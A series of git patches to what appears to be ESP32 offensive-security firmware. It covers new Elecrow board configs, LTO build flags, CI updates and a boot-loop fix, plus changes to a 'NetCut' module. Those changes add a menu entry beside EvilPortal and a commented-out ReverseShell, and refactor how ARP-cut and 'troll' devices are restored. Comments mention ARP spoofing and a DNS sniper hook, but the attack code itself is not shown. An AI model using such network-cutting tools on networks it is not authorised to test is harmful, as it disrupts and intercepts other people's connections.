From: RyoCuyy <85080933+ryocuy@users.noreply.github.com>
Date: Sun, 3 May 2026 23:28:29 +0700
Subject: [PATCH 40/73] Add NetCut option to WifiMenu

Integrate NetCut module entry point into the WiFi options menu.
---
 src/core/menu_items/WifiMenu.cpp | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/src/core/menu_items/WifiMenu.cpp b/src/core/menu_items/WifiMenu.cpp
index 970156f73..c537b28ab 100644
--- a/src/core/menu_items/WifiMenu.cpp
+++ b/src/core/menu_items/WifiMenu.cpp
@@ -15,6 +15,8 @@
 #include "modules/wifi/scan_hosts.h"
 #include "modules/wifi/sniffer.h"
 #include "modules/wifi/wifi_atks.h"
+#include "modules/wifi/netcut.h" 
+
 
 
 
@@ -63,6 +65,9 @@ void WifiMenu::optionsMenu() {
                            // WebUI cleanup now handled automatically inside EvilPortal constructor
                            EvilPortal();
                        }});
+    options.push_back({"NetCut", [=]() {
+                           netcutMenu();
+                       }});
     // options.push_back({"ReverseShell", [=]()       { ReverseShell(); }});
 #ifndef LITE_VERSION
     options.push_back({"Listen TCP", listenTcpPort});

From 7766abc6703409dfca503953558d5340e1f82ef1 Mon Sep 17 00:00:00 2001
From: RyoCuyy <85080933+ryocuy@users.noreply.github.com>
Date: Mon, 4 May 2026 01:05:45 +0700
Subject: [PATCH 41/73] Simplify device restoration logic on exit

Refactor device restoration process for clarity and efficiency.
---
 src/modules/wifi/netcut.cpp | 27 ++++-----------------------
 1 file changed, 4 insertions(+), 23 deletions(-)

diff --git a/src/modules/wifi/netcut.cpp b/src/modules/wifi/netcut.cpp
index 3f419460e..059528155 100644
--- a/src/modules/wifi/netcut.cpp
+++ b/src/modules/wifi/netcut.cpp
@@ -628,36 +628,17 @@ static void _activeLoop() {
         Serial.println("[NetCut] L2 Bridge Hook uninstalled.");
     }
 
-    // Cleanup: aggressive restore ALL on exit
+    // Aggressive restore ALL on exit
     s_cutAllActive = false;
     s_trollAllActive = false;
     int restoreCount = 0;
     for (int i = 0; i < s_deviceCount; i++) {
-        if (s_devices[i].isCut || s_devices[i].isTroll) { restoreCount++; }
-    }
-
-    if (restoreCount > 0) {
-        drawMainBorderWithTitle("RESTORING...");
-        padprintln("");
-        padprintln("Resuming " + String(restoreCount) + " devices...");
-        padprintln("Please wait 5s...");
-
-        unsigned long restoreEnd = millis() + 5000;
-        while (millis() < restoreEnd) {
-            for (int i = 0; i < s_deviceCount; i++) {
-                if (s_devices[i].isCut || s_devices[i].isTroll) {
-                    netcutRestoreDevice(i);
-                }
-            }
-            vTaskDelay(pdMS_TO_TICKS(200));
-        }
-
-        // Clear all flags after restore
-        for (int i = 0; i < s_deviceCount; i++) {
+        if (s_devices[i].isCut || s_devices[i].isTroll) {
+            restoreCount++;
+            netcutRestoreDevice(i);
             s_devices[i].isCut = false;
             s_devices[i].isTroll = false;
             s_devices[i].isTrollOffline = false;
-            s_devices[i].restoreUntil = 0;
         }
     }
 

From 2d11be1daa7df03c56babc44ca32b8997c31895c Mon Sep 17 00:00:00 2001
From: RyoCuyy <85080933+ryocuy@users.noreply.github.com>
Date: Mon, 4 May 2026 01:20:45 +0700
Subject: [PATCH 42/73] fix(netcut): optimize bulk restoration for instant
 recovery

Synchronized bulk restoration logic with individual restoration to achieve instant connectivity recovery. The system now only targets affected devices during 'Resume All' and exit cleanup, eliminating redundant delays for a seamless experience.
---
 src/modules/wifi/netcut.cpp | 26 ++++++++++++--------------
 1 file changed, 12 insertions(+), 14 deletions(-)

diff --git a/src/modules/wifi/netcut.cpp b/src/modules/wifi/netcut.cpp
index 059528155..34ec5bc5c 100644
--- a/src/modules/wifi/netcut.cpp
+++ b/src/modules/wifi/netcut.cpp
@@ -48,7 +48,6 @@ static struct netif *s_hookedNetif = nullptr;
 // INTERNAL: SNI Parser for TLS ClientHello
 // ============================================
 
-
 // ============================================
 // INTERNAL: Layer 2 Forwarding & DNS Sniper Hook
 // ============================================
@@ -78,7 +77,6 @@ static struct netif *_getStaNetif() {
     return (struct netif *)esp_netif_get_netif_impl(sta);
 }
 
-
 // ============================================
 // INTERNAL: Send a single ARP packet via LwIP
 // Same pattern as Bruce ARPSpoofer.cpp
@@ -411,11 +409,13 @@ void netcutResumeAll() {
     s_cutAllActive = false;   // DISABLE auto-cut
     s_trollAllActive = false; // DISABLE auto-troll
     for (int i = 0; i < s_deviceCount; i++) {
-        s_devices[i].isCut = false;
-        s_devices[i].isTroll = false;
-        s_devices[i].isTrollOffline = false;
-        s_devices[i].restoreUntil = millis() + 5000; // 5s forced restore
-        netcutRestoreDevice(i);
+        if (s_devices[i].isCut || s_devices[i].isTroll) {
+            s_devices[i].isCut = false;
+            s_devices[i].isTroll = false;
+            s_devices[i].isTrollOffline = false;
+            s_devices[i].restoreUntil = millis() + 5000;
+            netcutRestoreDevice(i);
+        }
     }
 }
 
@@ -607,11 +607,8 @@ static void _activeLoop() {
             );
 
             // Draw SNIPER count
-            for (int i = 0; i < s_deviceCount; i++)
-            tft.setTextColor(TFT_GREEN, bruceConfig.bgColor);
-            tft.drawString(
-                "Pkts:" + String(packetCount), 10, tftHeight - 24, 1
-            );
+            for (int i = 0; i < s_deviceCount; i++) tft.setTextColor(TFT_GREEN, bruceConfig.bgColor);
+            tft.drawString("Pkts:" + String(packetCount), 10, tftHeight - 24, 1);
 
             tft.setTextColor(TFT_DARKGREY, bruceConfig.bgColor);
             tft.drawString("Esc=Stop", 10, tftHeight - 12, 1);
@@ -629,16 +626,18 @@ static void _activeLoop() {
     }
 
     // Aggressive restore ALL on exit
+    // Aggressive restore only affected devices on exit
     s_cutAllActive = false;
     s_trollAllActive = false;
     int restoreCount = 0;
     for (int i = 0; i < s_deviceCount; i++) {
         if (s_devices[i].isCut || s_devices[i].isTroll) {
             restoreCount++;
-            netcutRestoreDevice(i);
             s_devices[i].isCut = false;
             s_devices[i].isTroll = false;
             s_devices[i].isTrollOffline = false;
+            s_devices[i].restoreUntil = millis() + 5000;
+            netcutRestoreDevice(i);
         }
     }
 
@@ -685,7 +684,6 @@ void netcutTrollAll() {
     _activeLoop();
 }
 
-
 // ============================================
 // TROLL TIMING MENU
 // ============================================

From 033bee0ada917b05acf31765683a099fa4747ef7 Mon Sep 17 00:00:00 2001
From: Pirata <bmorcelli@gmail.com>
Date: Tue, 12 May 2026 14:42:05 -0300
Subject: [PATCH 43/73] flto build

---
 flto_prep.py   | 10 ++++++++++
 platformio.ini |  4 ++++
 2 files changed, 14 insertions(+)
 create mode 100644 flto_prep.py

diff --git a/flto_prep.py b/flto_prep.py
new file mode 100644
index 000000000..f8f898957
--- /dev/null
+++ b/flto_prep.py
@@ -0,0 +1,10 @@
+Import("env")
+
+# The Arduino ESP32 framework injects -fno-lto into LINKFLAGS to prevent LTO
+# at link time. Remove it so GCC can perform whole-program LTO optimization
+# across all LTO IR objects (user code + framework Arduino source).
+# Prebuilt ESP-IDF archives (libfreertos.a etc.) are regular objects and
+# participate in LTO linking transparently.
+flags = env.get("LINKFLAGS", [])
+if "-fno-lto" in flags:
+    env.Replace(LINKFLAGS=[f for f in flags if f != "-fno-lto"])
diff --git a/platformio.ini b/platformio.ini
index ad1849148..334623afe 100644
--- a/platformio.ini
+++ b/platformio.ini
@@ -125,6 +125,9 @@ build_flags =
 	-DEEPROMSIZE=128
 	-DLH=8
 	-DLW=6
+	-flto
+	-ffunction-sections
+	-fdata-sections
 	-Os
 	-Wl,--print-memory-usage
 	-Wl,--gc-sections
@@ -153,6 +156,7 @@ extra_scripts =
 	pre:pre_build_current_year.py
 	pre:gen_mqjs_headers.py
 	pre:patch_library_conflicts.py
+	flto_prep.py
 	post:build.py
 
 lib_deps =

From 136ba22772b3354a875a7c24914d4d362f2699d8 Mon Sep 17 00:00:00 2001
From: pr3y <67231282+pr3y@users.noreply.github.com>
Date: Tue, 12 May 2026 20:32:46 -0300
Subject: [PATCH 44/73] elecrow boards

---
 boards/_boards_json/elecrow-esp32-24B.json |  39 +++
 boards/elecrow/elecrow.ini                 | 262 +++++++++++++++++++++
 boards/elecrow/interface.cpp               | 108 +++++++++
 boards/elecrow/pins_arduino.h              |  52 ++++
 boards/pinouts/pins_arduino.h              |   2 +
 platformio.ini                             |   5 +
 6 files changed, 468 insertions(+)
 create mode 100644 boards/_boards_json/elecrow-esp32-24B.json
 create mode 100644 boards/elecrow/elecrow.ini
 create mode 100644 boards/elecrow/interface.cpp
 create mode 100644 boards/elecrow/pins_arduino.h

diff --git a/boards/_boards_json/elecrow-esp32-24B.json b/boards/_boards_json/elecrow-esp32-24B.json
new file mode 100644
index 000000000..7fc6dc8a0
--- /dev/null
+++ b/boards/_boards_json/elecrow-esp32-24B.json
@@ -0,0 +1,39 @@
+{
+  "build": {
+    "arduino":{
+      "ldscript": "esp32_out.ld"
+    },
+    "core": "esp32",
+    "extra_flags": [
+      "-DELECROW_WROOM32",
+      "-DBOARD_HAS_PSRAM",
+      "-mfix-esp32-psram-cache-issue",
+      "-mfix-esp32-psram-cache-strategy=memw"
+    ],
+    "f_cpu": "240000000L",
+    "f_flash": "80000000L",
+    "flash_mode": "dio",
+    "mcu": "esp32",
+    "variant": "pinouts"
+  },
+  "connectivity": [
+    "wifi",
+    "bluetooth",
+    "ethernet",
+    "can"
+  ],
+  "frameworks": [
+    "arduino",
+    "espidf"
+  ],
+  "name": "ELECROW 2.4R",
+  "upload": {
+    "flash_size": "4MB",
+    "maximum_ram_size": 327680,
+    "maximum_size": 4194304,
+    "require_upload_port": true,
+    "speed": 460800
+  },
+  "url": "https://en.wikipedia.org/wiki/ESP32",
+  "vendor": "ELECROW"
+}
diff --git a/boards/elecrow/elecrow.ini b/boards/elecrow/elecrow.ini
new file mode 100644
index 000000000..fa1e5f2ac
--- /dev/null
+++ b/boards/elecrow/elecrow.ini
@@ -0,0 +1,262 @@
+; PlatformIO Project Configuration File
+;
+;   Build options: build flags, source filter
+;   Upload options: custom upload port, speed and extra flags
+;   Library options: dependencies, extra library storages
+;   Advanced options: extra scripting
+;
+; Please visit documentation for the other options and examples
+; https://docs.platformio.org/page/projectconf.html
+
+#################################### ELECROW MODELS ################################################
+; Elecrow CrowPanel ESP32 HMI Display boards (2.4", 2.8", 3.5", 3.5" v2.2)
+; Hardware: ESP32-WROOM-32, resistive XPT2046 touch (shared HSPI with TFT), SD on VSPI
+; TFT SPI (HSPI): MISO=12, MOSI=13, SCLK=14, CS=15, DC=2, RST=-1, BL=27
+; Touch: CS=33, IRQ=36 (shared with TFT SPI bus)
+; SD Card: CS=5, SCK=18, MISO=19, MOSI=23
+; Free GPIOs: 0(boot), 1(TX), 3(RX), 4, 21, 22, 25, 26
+
+[elecrow_base]
+board = elecrow-esp32-24B
+board_build.partitions = custom_4Mb_full.csv
+build_src_filter = ${env.build_src_filter} +<../boards/elecrow>
+build_flags =
+	${env.build_flags}
+	${env_4mb.build_flags}
+	-Iboards/elecrow
+
+	-DELECROW
+
+	;No microphone
+	-DPIN_CLK=-1
+	-DI2S_SCLK_PIN=-1
+	-DI2S_DATA_PIN=-1
+	-DPIN_DATA=-1
+
+	;No RGB LED
+	-DRGB_LED=-1
+
+	;No speaker
+	-DBCLK=-1
+	-DWCLK=-1
+	-DDOUT=-1
+
+	;BadUSB on GROVE pins
+	-DBAD_TX=GROVE_SDA
+	-DBAD_RX=GROVE_SCL
+
+	;Serial/GPS
+	-DSERIAL_TX=1
+	-DSERIAL_RX=3
+	-DGPS_SERIAL_TX=SERIAL_TX
+	-DGPS_SERIAL_RX=SERIAL_RX
+
+	;Buttons - touch only
+	-DHAS_BTN=0
+	-DBTN_ALIAS='"Ok"'
+	-DBTN_PIN=0
+
+	;Infrared / RF pins
+	-DIR_TX_PINS='{{"Pin 21", 21}, {"Pin 22", 22}, {"Pin 25", 25}, {"Pin 26", 26}}'
+	-DIR_RX_PINS='{{"Pin 21", 21}, {"Pin 22", 22}, {"Pin 25", 25}, {"Pin 26", 26}}'
+	-DTXLED=22
+	-DLED_ON=HIGH
+	-DLED_OFF=LOW
+
+	;Radio Frequency (one pin modules)
+	-DRF_TX_PINS='{{"Pin 21", 21}, {"Pin 22", 22}, {"Pin 25", 25}, {"Pin 26", 26}}'
+	-DRF_RX_PINS='{{"Pin 21", 21}, {"Pin 22", 22}, {"Pin 25", 25}, {"Pin 26", 26}}'
+
+	;CC1101 on VSPI (shared with SD card, different CS)
+	-DUSE_CC1101_VIA_SPI
+	-DCC1101_GDO0_PIN=22
+	-DCC1101_SS_PIN=25
+	-DCC1101_MOSI_PIN=SPI_MOSI_PIN
+	-DCC1101_SCK_PIN=SPI_SCK_PIN
+	-DCC1101_MISO_PIN=SPI_MISO_PIN
+
+	;NRF24 on VSPI
+	-DUSE_NRF24_VIA_SPI
+	-DNRF24_CE_PIN=22
+	-DNRF24_SS_PIN=25
+	-DNRF24_MOSI_PIN=SPI_MOSI_PIN
+	-DNRF24_SCK_PIN=SPI_SCK_PIN
+	-DNRF24_MISO_PIN=SPI_MISO_PIN
+
+	;W5500 on VSPI
+	-DUSE_W5500_VIA_SPI
+	-DW5500_SS_PIN=25
+	-DW5500_MOSI_PIN=SPI_MOSI_PIN
+	-DW5500_SCK_PIN=SPI_SCK_PIN
+	-DW5500_MISO_PIN=SPI_MISO_PIN
+	-DW5500_INT_PIN=22
+
+	;Font sizes
+	-DFP=1
+	-DFM=2
+	-DFG=3
+
+	;Screen
+	-DHAS_SCREEN=1
+	-DROTATION=1
+	-DBACKLIGHT=27
+	-DMINBRIGHT=190
+
+	;TFT_eSPI - HSPI bus (pins 12/13/14)
+	-DUSER_SETUP_LOADED=1
+	-DUSE_HSPI_PORT=1
+	-DTFT_MISO=12
+	-DTFT_MOSI=13
+	-DTFT_SCLK=14
+	-DTFT_CS=15
+	-DTFT_DC=2
+	-DTFT_RST=-1
+	-DTFT_BL=27
+	-DTFT_BACKLIGHT_ON=HIGH
+	-DSMOOTH_FONT=1
+	-DSPI_FREQUENCY=40000000
+	-DSPI_READ_FREQUENCY=16000000
+	-DSPI_TOUCH_FREQUENCY=2500000
+
+	;Touch (XPT2046, shared HSPI with TFT)
+	-DHAS_TOUCH=1
+	-DTOUCH_CS=33
+	-DCYD28_TouchR_IRQ=36
+	-DCYD28_TouchR_MISO=12
+	-DCYD28_TouchR_MOSI=13
+	-DCYD28_TouchR_CSK=14
+	-DCYD28_TouchR_CS=33
+
+	;SD Card
+	-DSDCARD_CS=5
+	-DSDCARD_SCK=18
+	-DSDCARD_MISO=19
+	-DSDCARD_MOSI=23
+
+	;Backlight PWM
+	-DTFT_BRIGHT_CHANNEL=0
+	-DTFT_BRIGHT_Bits=8
+	-DTFT_BRIGHT_FREQ=5000
+
+	;I2C / GROVE
+	-DGROVE_SDA=21
+	-DGROVE_SCL=22
+
+	;External SPI (VSPI, shared with SD card)
+	-DSPI_SCK_PIN=18
+	-DSPI_MOSI_PIN=23
+	-DSPI_MISO_PIN=19
+	-DSPI_SS_PIN=25
+
+lib_deps =
+	${env.lib_deps}
+
+lib_ignore =
+	${env_4mb.lib_ignore}
+
+
+#################################### 2.4" and 2.8" (ILI9341, 240x320) ##############################
+
+[env:elecrow-24B]
+extends = elecrow_base
+build_flags =
+	${elecrow_base.build_flags}
+	-DILI9341_DRIVER=1
+	-DTFT_WIDTH=240
+	-DTFT_HEIGHT=320
+	-DHAS_RESISTIVE_TOUCH=1
+	-DCYD28_TouchR_ROT=6
+	-DCYD28_TouchR_CAL_XMIN=1
+	-DCYD28_TouchR_CAL_XMAX=5000
+	-DCYD28_TouchR_CAL_YMIN=1
+	-DCYD28_TouchR_CAL_YMAX=5000
+	-DDEVICE_NAME='"Elecrow 2.4B"'
+
+[env:LAUNCHER_elecrow-24B]
+extends = env:elecrow-24B
+board_build.partitions = custom_4Mb.csv
+build_flags =
+	${env:elecrow-24B.build_flags}
+	${env_light.build_flags}
+lib_deps =
+	${env_light.lib_deps}
+
+
+[env:elecrow-28B]
+extends = elecrow_base
+build_flags =
+	${elecrow_base.build_flags}
+	-DILI9341_DRIVER=1
+	-DTFT_WIDTH=240
+	-DTFT_HEIGHT=320
+	-DHAS_RESISTIVE_TOUCH=1
+	-DCYD28_TouchR_ROT=6
+	-DCYD28_TouchR_CAL_XMIN=189
+	-DCYD28_TouchR_CAL_XMAX=3416
+	-DCYD28_TouchR_CAL_YMIN=359
+	-DCYD28_TouchR_CAL_YMAX=3439
+	-DDEVICE_NAME='"Elecrow 2.8B"'
+
+[env:LAUNCHER_elecrow-28B]
+extends = env:elecrow-28B
+board_build.partitions = custom_4Mb.csv
+build_flags =
+	${env:elecrow-28B.build_flags}
+	${env_light.build_flags}
+lib_deps =
+	${env_light.lib_deps}
+
+
+#################################### 3.5" (ILI9488, 320x480) ######################################
+
+[env:elecrow-35B]
+extends = elecrow_base
+build_flags =
+	${elecrow_base.build_flags}
+	-DILI9488_DRIVER=1
+	-DTFT_WIDTH=320
+	-DTFT_HEIGHT=480
+	-DHAS_RESISTIVE_TOUCH=1
+	-DCYD28_TouchR_ROT=6
+	-DCYD28_TouchR_CAL_XMIN=353
+	-DCYD28_TouchR_CAL_XMAX=3568
+	-DCYD28_TouchR_CAL_YMIN=269
+	-DCYD28_TouchR_CAL_YMAX=3491
+	-DDEVICE_NAME='"Elecrow 3.5B"'
+
+[env:LAUNCHER_elecrow-35B]
+extends = env:elecrow-35B
+board_build.partitions = custom_4Mb.csv
+build_flags =
+	${env:elecrow-35B.build_flags}
+	${env_light.build_flags}
+lib_deps =
+	${env_light.lib_deps}
+
+
+[env:elecrow-35Bv2_2]
+extends = env:elecrow-35B
+build_flags =
+	${env:elecrow-35B.build_flags}
+	-DCYD28_TouchR_CS=12
+	-DTFT_MISO=33
+	-DCYD28_TouchR_MISO=33
+	-DTOUCH_CS=12
+	-DDEVICE_NAME='"Elecrow 3.5B v2.2"'
+build_unflags =
+	-DCYD28_TouchR_CS=33
+	-DCYD28_TouchR_MISO=12
+	-DTFT_MISO=12
+	-DTOUCH_CS=33
+	-DDEVICE_NAME='"Elecrow 3.5B"'
+
+[env:LAUNCHER_elecrow-35Bv2_2]
+extends = env:elecrow-35Bv2_2
+board_build.partitions = custom_4Mb.csv
+build_flags =
+	${env:elecrow-35Bv2_2.build_flags}
+	${env_light.build_flags}
+lib_deps =
+	${env_light.lib_deps}
+
+################################## END ELECROW MODELS ##############################################
diff --git a/boards/elecrow/interface.cpp b/boards/elecrow/interface.cpp
new file mode 100644
index 000000000..628dd5711
--- /dev/null
+++ b/boards/elecrow/interface.cpp
@@ -0,0 +1,108 @@
+#include "core/powerSave.h"
+#include "core/utils.h"
+#include <interface.h>
+
+#include <CYD28_TouchscreenR.h>
+CYD28_TouchR touch(TFT_HEIGHT, TFT_WIDTH);
+
+/***************************************************************************************
+** Function name: _setup_gpio()
+** Location: main.cpp
+** Description:   initial setup for the device
+***************************************************************************************/
+void _setup_gpio() {
+    pinMode(TOUCH_CS, OUTPUT);
+    digitalWrite(TOUCH_CS, HIGH);
+    bruceConfig.colorInverted = 0;
+}
+
+/***************************************************************************************
+** Function name: _post_setup_gpio()
+** Location: main.cpp
+** Description:   second stage gpio setup to make a few functions work
+***************************************************************************************/
+void _post_setup_gpio() {
+    if (!touch.begin(&tft.getSPIinstance())) {
+        Serial.println("Touch IC not Started");
+        log_i("Touch IC not Started");
+    } else Serial.println("Touch IC Started");
+
+    pinMode(TFT_BL, OUTPUT);
+    ledcAttach(TFT_BL, TFT_BRIGHT_FREQ, TFT_BRIGHT_Bits);
+    ledcWrite(TFT_BL, 255);
+}
+
+/***************************************************************************************
+** Function name: getBattery()
+** location: display.cpp
+** Description:   Delivers the battery value from 1-100
+***************************************************************************************/
+int getBattery() { return 0; }
+
+/*********************************************************************
+** Function: setBrightness
+** location: settings.cpp
+** set brightness value
+**********************************************************************/
+void _setBrightness(uint8_t brightval) {
+    int dutyCycle;
+    if (brightval == 100) dutyCycle = 255;
+    else if (brightval == 75) dutyCycle = 130;
+    else if (brightval == 50) dutyCycle = 70;
+    else if (brightval == 25) dutyCycle = 20;
+    else if (brightval == 0) dutyCycle = 0;
+    else dutyCycle = ((brightval * 255) / 100);
+    ledcWrite(TFT_BL, dutyCycle);
+}
+
+/*********************************************************************
+** Function: InputHandler
+** Handles the variables PrevPress, NextPress, SelPress, AnyKeyPress and EscPress
+**********************************************************************/
+void InputHandler(void) {
+    static unsigned long tm = millis();
+    if (!(millis() - tm > 200 || LongPress)) return;
+
+    if (touch.touched()) {
+        auto t = touch.getPointScaled();
+        t = touch.getPointScaled();
+        if (bruceConfigPins.rotation == 3) {
+            t.y = (tftHeight + 20) - t.y;
+            t.x = tftWidth - t.x;
+        }
+        if (bruceConfigPins.rotation == 0) {
+            int tmp = t.x;
+            t.x = tftWidth - t.y;
+            t.y = tmp;
+        }
+        if (bruceConfigPins.rotation == 2) {
+            int tmp = t.x;
+            t.x = t.y;
+            t.y = (tftHeight + 20) - tmp;
+        }
+        tm = millis();
+        if (!wakeUpScreen()) AnyKeyPress = true;
+        else return;
+        touchPoint.x = t.x;
+        touchPoint.y = t.y;
+        touchPoint.pressed = true;
+        touchHeatMap(touchPoint);
+    } else touchPoint.pressed = false;
+}
+
+/*********************************************************************
+** Function: powerOff
+** location: mykeyboard.cpp
+** Turns off the device (or try to)
+**********************************************************************/
+void powerOff() {
+    esp_sleep_enable_ext0_wakeup(GPIO_NUM_0, LOW);
+    esp_deep_sleep_start();
+}
+
+/*********************************************************************
+** Function: checkReboot
+** location: mykeyboard.cpp
+** Btn logic to turn off the device (name is odd btw)
+**********************************************************************/
+void checkReboot() {}
diff --git a/boards/elecrow/pins_arduino.h b/boards/elecrow/pins_arduino.h
new file mode 100644
index 000000000..c9b863a82
--- /dev/null
+++ b/boards/elecrow/pins_arduino.h
@@ -0,0 +1,52 @@
+#ifndef Pins_Arduino_h
+#define Pins_Arduino_h
+
+#include <stdint.h>
+
+static const uint8_t TX = 1;
+static const uint8_t RX = 3;
+
+static const uint8_t SDA = 21;
+static const uint8_t SCL = 22;
+
+static const uint8_t SS    = 5;
+static const uint8_t MOSI  = 23;
+static const uint8_t MISO  = 19;
+static const uint8_t SCK   = 18;
+
+static const uint8_t A0 = 36;
+static const uint8_t A3 = 39;
+static const uint8_t A4 = 32;
+static const uint8_t A5 = 33;
+static const uint8_t A6 = 34;
+static const uint8_t A7 = 35;
+static const uint8_t A10 = 4;
+static const uint8_t A11 = 0;
+static const uint8_t A12 = 2;
+static const uint8_t A13 = 15;
+static const uint8_t A14 = 13;
+static const uint8_t A15 = 12;
+static const uint8_t A16 = 14;
+static const uint8_t A17 = 27;
+static const uint8_t A18 = 25;
+static const uint8_t A19 = 26;
+
+static const uint8_t T0 = 4;
+static const uint8_t T1 = 0;
+static const uint8_t T2 = 2;
+static const uint8_t T3 = 15;
+static const uint8_t T4 = 13;
+static const uint8_t T5 = 12;
+static const uint8_t T6 = 14;
+static const uint8_t T7 = 27;
+static const uint8_t T8 = 33;
+static const uint8_t T9 = 32;
+
+static const uint8_t DAC1 = 25;
+static const uint8_t DAC2 = 26;
+
+// Deepsleep wakeup via touch IRQ
+#define DEEPSLEEP_WAKEUP_PIN 36
+#define DEEPSLEEP_PIN_ACT LOW
+
+#endif /* Pins_Arduino_h */
diff --git a/boards/pinouts/pins_arduino.h b/boards/pinouts/pins_arduino.h
index 865909049..d4b236c5d 100644
--- a/boards/pinouts/pins_arduino.h
+++ b/boards/pinouts/pins_arduino.h
@@ -42,6 +42,8 @@
 #include "../marauder-mini/pins_arduino.h"
 #elif LILYGO_T_HMI
 #include "../lilygo-t-hmi/pins_arduino.h"
+#elif ELECROW
+#include "../elecrow/pins_arduino.h"
 #elif ESP32C5_DEVKITC_1_TFT
 #include "../ESP32-C5-tft/pins_arduino.h"
 #elif ESP32C5_DEVKITC_1
diff --git a/platformio.ini b/platformio.ini
index 334623afe..38e77a82d 100644
--- a/platformio.ini
+++ b/platformio.ini
@@ -67,6 +67,11 @@ default_envs =
   ;esp32-c5
   ;ES3C28P
 	;nm-cyd-c5
+	;elecrow-24B
+	;elecrow-28B
+	;elecrow-35B
+	;elecrow-35Bv2_2
+
 
 ;uncomment to not use global dirs to avoid possible conflicts
 ;platforms_dir = .pio/platforms

From 770fa7207d4a6d8f31f6be4f24317ada4f58ab24 Mon Sep 17 00:00:00 2001
From: pr3y <67231282+pr3y@users.noreply.github.com>
Date: Tue, 12 May 2026 20:37:26 -0300
Subject: [PATCH 45/73] elecrow boards on envs

---
 docker/run_all_envs.sh | 9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

diff --git a/docker/run_all_envs.sh b/docker/run_all_envs.sh
index 1a7f9dc3a..27f6a573d 100644
--- a/docker/run_all_envs.sh
+++ b/docker/run_all_envs.sh
@@ -42,6 +42,13 @@ DEFAULT_ENVS=(
   lilygo-t-display-ttgo
   lilygo-t-hmi
   lilygo-t-lora-pager
+  elecrow-24B
+  elecrow-28B
+  elecrow-35B
+  elecrow-35Bv2_2
+  LAUNCHER_elecrow-24B
+  LAUNCHER_elecrow-28B
+  LAUNCHER_elecrow-35B
   smoochiee-board
   Phantom_S024R
   LAUNCHER_Phantom_S024R
@@ -94,7 +101,7 @@ for ((i = 0; i < ${#ENVS[@]}; i += JOBS)); do
   done
 done
 
-if (( ${#failed[@]} > 0 )); then
+if ((${#failed[@]} > 0)); then
   echo "Build failures: ${failed[*]}" >&2
   exit 1
 fi

From 5f7827f12c0fc2919a6058018f9f5c2e25eeed20 Mon Sep 17 00:00:00 2001
From: pr3y <67231282+pr3y@users.noreply.github.com>
Date: Tue, 12 May 2026 20:43:19 -0300
Subject: [PATCH 46/73] elecrow to build

---
 .github/workflows/buil_parallel.yml | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/.github/workflows/buil_parallel.yml b/.github/workflows/buil_parallel.yml
index 2623f316e..15f6b5a00 100644
--- a/.github/workflows/buil_parallel.yml
+++ b/.github/workflows/buil_parallel.yml
@@ -56,6 +56,8 @@ jobs:
           - { env: "lilygo-t-display-ttgo",           family: "ESP32",}
           - { env: "lilygo-t-hmi",                    family: "ESP32-S3",}
           - { env: "lilygo-t-lora-pager",             family: "ESP32-S3",}
+          - { env: "elecrow-24B",                     family: "ESP32",}
+          - { env: "elecrow-28B",                     family: "ESP32",}
           - { env: "smoochiee-board",                 family: "ESP32-S3",}
           - { env: "reaper",                          family: "ESP32-S3",}
           - { env: "Phantom_S024R",                   family: "ESP32",}

From d632b6ba4609734deacf91e45590f65665359997 Mon Sep 17 00:00:00 2001
From: Matt Emerick-Law <matt@emericklaw.co.uk>
Date: Fri, 15 May 2026 01:20:40 +0100
Subject: [PATCH 47/73] Fix boot loop caused by no scripts being found

Co-authored-by: Copilot <copilot@github.com>
---
 src/core/startup_app.cpp                    | 5 +++--
 src/modules/bjs_interpreter/interpreter.cpp | 2 +-
 src/modules/bjs_interpreter/interpreter.h   | 2 +-
 3 files changed, 5 insertions(+), 4 deletions(-)

diff --git a/src/core/startup_app.cpp b/src/core/startup_app.cpp
index 4e208348c..c3a3ce992 100644
--- a/src/core/startup_app.cpp
+++ b/src/core/startup_app.cpp
@@ -41,8 +41,9 @@ StartupApp::StartupApp() {
     _startupApps["WebUI"] = []() { startWebUi(!wifiConnecttoKnownNet()); };
 #if !defined(LITE_VERSION) && !defined(DISABLE_INTERPRETER)
     _startupApps["JS Interpreter"] = []() {
-        FS *fs;
-        String folder = getScriptsFolder(fs);
+        FS *fs = nullptr;
+        getScriptsFolder(fs);
+        if (fs == nullptr) return;
         run_bjs_script_headless(*fs, bruceConfig.startupAppJSInterpreterFile);
     };
 #endif
diff --git a/src/modules/bjs_interpreter/interpreter.cpp b/src/modules/bjs_interpreter/interpreter.cpp
index eb43544cf..62be9ef31 100644
--- a/src/modules/bjs_interpreter/interpreter.cpp
+++ b/src/modules/bjs_interpreter/interpreter.cpp
@@ -162,7 +162,7 @@ bool run_bjs_script_headless(char *code) {
     return true;
 }
 
-bool run_bjs_script_headless(FS fs, String filename) {
+bool run_bjs_script_headless(FS &fs, String filename) {
     script = readBigFile(&fs, filename);
     if (script == NULL) { return false; }
 
diff --git a/src/modules/bjs_interpreter/interpreter.h b/src/modules/bjs_interpreter/interpreter.h
index dd8fc747a..fbe9a3434 100644
--- a/src/modules/bjs_interpreter/interpreter.h
+++ b/src/modules/bjs_interpreter/interpreter.h
@@ -12,7 +12,7 @@ extern TaskHandle_t interpreterTaskHandler;
 void interpreterHandler(void *pvParameters);
 void run_bjs_script();
 bool run_bjs_script_headless(char *code);
-bool run_bjs_script_headless(FS fs, String filename);
+bool run_bjs_script_headless(FS &fs, String filename);
 
 String getScriptsFolder(FS *&fs);
 std::vector<Option>

From 5f78c7c9de10327b5909caf1f18ea310b178a279 Mon Sep 17 00:00:00 2001
From: Matt Emerick-Law <matt@emericklaw.co.uk>
Date: Fri, 15 May 2026 01:21:00 +0100
Subject: [PATCH 48/73] Reinstate App Store download

---
 src/core/menu_items/ConfigMenu.cpp | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/src/core/menu_items/ConfigMenu.cpp b/src/core/menu_items/ConfigMenu.cpp
index 753f51064..22221cff7 100644
--- a/src/core/menu_items/ConfigMenu.cpp
+++ b/src/core/menu_items/ConfigMenu.cpp
@@ -33,6 +33,12 @@ void ConfigMenu::optionsMenu() {
             {"Power",         [this]() { powerMenu(); }    },
         };
 
+#if !defined(LITE_VERSION)
+        if (!appStoreInstalled()) {
+            localOptions.push_back({"Install App Store", []() { installAppStoreJS(); }});
+        }
+#endif
+
         if (bruceConfig.devMode) {
             localOptions.push_back({"Dev Mode", [this]() { devMenu(); }});
         }

From 4ff2cd34b8b3b84752856f5f68a56567395f7889 Mon Sep 17 00:00:00 2001
